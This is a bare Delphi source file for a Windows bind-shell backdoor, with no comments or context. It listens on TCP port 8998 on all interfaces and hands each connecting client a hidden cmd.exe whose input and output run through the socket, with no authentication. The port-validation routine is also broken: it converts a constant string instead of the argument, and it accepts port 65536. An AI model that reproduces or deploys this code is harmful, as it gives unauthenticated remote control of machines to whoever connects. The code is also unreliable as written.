program cmd;

uses
  Windows,
  Winsock2,
  Winsock,
  SysUtils;

var
  Port: integer = 8998;
  WSAData: TWSAData;
  FDSet: TFDSet;
  SockAddrIn: TSockAddrIn;
  ServerSocket: TSocket;
  Connected: PInteger;
  ThreadID: Cardinal;
  szCmdLine: Array [0..MAX_PATH] of Char;

function ValidPort(input: string): boolean;
var
  str0: string;
  int0,
  int1: integer;
begin
  Result := false;

  if (input = '') then exit;
  
  str0 := '0123456789';
  for int0 := 1 to Length(input) do if (Pos(input[int0], str0) < 1) then exit;

  int1 := StrToInt(str0);

  if ((1 <= int1) and (int1 <= 65536)) then Result := true;
end;

function GetLocalIP: string;
type
  tia = array[0..10] of PInAddr;
  pia = ^tia;
var
  hen0: PHostEnt;
  pptr: pia;
  chr0: array[0..63] of char;
  int0: integer;
  wsd0: TWSAData;
begin    
  Result := '';
  WSAStartup($101, wsd0);
  
  GetHostName(chr0, SizeOf(chr0));
  hen0 := GetHostByName(chr0);
  if hen0 = nil then exit;

  pptr := pia(hen0^.h_addr_list);
  int0 := 0;
  
  while pptr^[int0] <> nil do
  begin
    Result := StrPas(inet_ntoa(pptr^[int0]^));
    inc(int0);
  end;

  WSACleanup;
end;

function ShellThread(Parameter: Pointer): Integer;
var
  hSocket: PInteger;
  si: TStartupInfo;
  pi: TProcessInformation;
begin
  hSocket := Parameter;
  ZeroMemory(@si, SizeOf(si));
  si.cb := SizeOf(si);
  si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
  si.wShowWindow := SW_HIDE;
  si.hStdInput := hSocket^;
  si.hStdOutput := hSocket^;
  si.hStdError := hSocket^;
  CreateProcess(nil, szCmdLine, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi);
  WaitForSingleObject(pi.hProcess, INFINITE);
  CloseHandle(pi.hProcess);
  CloseHandle(pi.hThread);
  Shutdown(hSocket^, SD_BOTH);
  CloseSocket(hSocket^);
  Dispose(hSocket);
  Result := 0;
end;

begin
  if (ValidPort(ParamStr(1))) then Port := StrToInt(ParamStr(1));
  try
    WSAStartUp(MakeWord(1, 1), WSAData);
    ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
    SockAddrIn.sin_family := AF_INET;
    SockAddrIn.sin_addr.s_addr := INADDR_ANY;
    SockAddrIn.sin_port := htons(Port);
    Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn));
    Listen(ServerSocket, 1);
    GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH);
    while True do
    begin
      FD_Zero(FDSet);
      FD_Set(ServerSocket, FDSet);
      Select(0, @FDSet, nil, nil, nil);
      if FD_IsSet(ServerSocket, FDSet) then
      begin
        New(Connected);
        Connected^ := Accept(ServerSocket, nil, nil);
        if Connected^ <> SOCKET_ERROR then BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)
        else Break;
      end;
    end;
    WSACleanup;
  except
  end;
end.